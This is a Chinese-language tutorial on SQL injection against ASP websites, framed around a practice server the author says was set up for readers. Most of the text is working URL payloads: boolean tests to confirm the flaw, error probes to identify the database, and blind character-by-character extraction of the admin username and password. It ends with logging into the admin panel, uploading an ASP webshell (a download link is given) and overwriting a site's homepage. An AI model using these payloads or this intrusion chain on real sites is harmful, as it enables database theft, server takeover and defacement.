跨站式SQL注入
前阵子麦当劳连续被黑事件引起了我的关注,想看看到底是怎么回事。上网找了找资料,发现此类攻击属于典型的跨站式SQL注入。
由于相当大一部分程序员在编写网页程序代码的时候,没有对用户输入数据的合法性进行判断,这就使整个网站都存在安全隐患。黑客可以提交一段数据库查询代码,然后根据程序返回的结果,获得他想要的数据,这就是所谓的SQL Injection,即SQL注入。
Step1:判断是否存在漏洞
我们以cp.feedom.net网站为例来测试判断。比如下面这两个网址:
1.http://cp.feedom.net/detail.asp?n_id=348 and 1=1
2.http://cp.feedom.net/detail.asp?n_id=348 and 1=2
这就是经典的1=1、1=2测试法了。怎么判断呢?看看上面网址返回的结果就知道了,有注入漏洞的表现为:
1.正常显示;
2.提示BOF或EOF(程序没做任何判断时)、或提示找不到记录(判断了rs.eof时)、或显示内容为空。
Step2:判断数据库类型并确定注入方法
ASP最常搭配的数据库是Access和SQLServer。怎么让程序告诉你网站使用的什么数据库呢?在IE中输入http://cp.feedom.net/detail.asp?n_id=348 and user>0,返回的错误信息是JET就代表使用的是Access数据库;返回的错误信息是OLE DB就代表使用的是SQLServer数据库。WWw.ITComPUtEr.Com.cN
Step3:猜解数据库中你想得到的信息
根据注入参数类型,在脑海中重构SQL语句的原貌,上面这个例子的参数类型是:ID=348,这类注入的参数类型是数字型,SQL语句原貌大致如下:Select * from 表名 where 字段=348。
1.猜解数据库中的表名
在地址栏中输入http://cp.feedom.net/detail.asp?n_id=348 And (Select Count(*) from Admin)>=0,返回结果页面正常,说明数据库中存在admin表。
输入http://cp.feedom.net/detail.asp?n_id=348 And (Select Count(admin) from Admin)>=0,通过类似上面指令的查询,你会发现admin表中存在admin字段、password字段和a_id字段。
2.检查ID是否存在
输入http://cp.feedom.net/detail.asp?n_id=348 and exists (select a_id from admin where a_ID=1)。
实战当中,如果返回的页面不正常,就表示ID不存在,你就必须多花些时间猜解了。
Step4:猜解数据库中的值
1.用户名长度
已知表admin中存在username字段,我们取第一条记录,测试长度:http://cp.feedom.net/detail.asp?n_id=348 and (select top 1 len(username) from Admin)>0。
如果top 1的username长度大于0,则条件成立;接着就是>1、>2这样测试下去,一直到条件不成立为止。
1)http://cp.feedom.net/detail.asp?n_id=34
8 and (select top 1 len(admin) from Admin)>4
2)http://cp.feedom.net/detail.asp?n_id=34
8 and (select top 1 len(admin) from Admin)>5
第1条指令返回正常,第2条指令返回错误,说明该用户名长度为5位。
2.猜解用户名
用户名长度知道了,现在我们要分析一下它的值。在得到username的长度后,用mid(username,N,1)截取第N位字符,再通过asc(mid(username,N,1))得到ASCII码。
输入http://cp.feedom.net/detail.asp?n_id=348 and exists (select a_id from admin where asc(mid(admin,1,1))=97 and a_ID=1),返回正常,表示用户名的第一位值是a,如果不正常,大家对照ASCII码表慢慢找吧,这儿的a的ASCII码为97。
依此类推,最后出来的值为admin。
提示:如果你手头并无ASCII码表,你也可到http://www.bitscn.com/readme/ASC2.html去查寻对照。
3.猜解密码长度
输入http://cp.feedom.net/detail.asp?n_id=348 and exists (select a_id from admin where len(password)=8 and a_ID=1),原理同上面猜用户名长度的一样,我们猜到密码的长度为8位。
4.猜解密码值
输入http://cp.feedom.net/detail.asp?n_id=348 and exists (select a_id from admin where asc(mid(password,1,1))=97 and a_ID=1),最后得出的密码为:admin888。
相信你读到这儿也挺累啦:)现在你该很清楚地了解了数据库的结构吧,如图1所示。
Step5:登录管理后台并上传ASP木马
1.在http://cp.feedom.net网站找到管理登录口,或直接输入http://cp.feedom.net/m_login.asp,登录后台管理页面。
2.点击添加新闻,选中“设为首页图片新闻”选项。
3.点击上传图片,在弹出的对话框中选择你的木马,点击“提交”即可上传(ASP木马下载:http://cp.feedom.net/muma.rar)。
注意:为了保障读者能有一个良好的研究测试环境,笔者对该目录进行了权限设定,不允许同名的文件覆盖。也就是说,如果大家使用笔者提供的木马程序,就可以不再上传了(如果要上传须改文件名)。当然“良驹”不止一匹,大家也可以上传自己喜欢,操作顺手的木马程序。
Step6:利用ASP木马替换网站首页
现在我已上传了一个木马文件到uploadtest目录,访问:http://cp.feedom.net/uploadtest/muma.asp,密码是admin888,点击上面菜单的“Stream”,进入如图2所示的画面。
利用“查看”功能可以查阅服务器上的目录架构以及文件情况,这个界面的最大功能是上传文件到目标目录。现在我上传了一个index.htm文件保存为:D:\www\cp.feedom.net\ct\index.htm,CT这个目录就是网站ct.feedom.net的根目录,通过http://ct.feedom.net/index.htm可以检查你上传的文件是否成功。
注意:由于该服务器仅作为读者练习使用,所以对它做了权限控制,你只能对/ct这个目录进行写操作。
编后:
只有了解了攻击才能懂得如何去防守。根据本文介绍的方法,虽然大家可以感受一次攻击的全部流程和方法,但是入侵攻击的方法并不仅限于此。例如木马的种类繁多,本文作者推荐的是一款极易上手的木马程序,但还有很多木马的威力更为强大,甚至可以完全控制一台主机。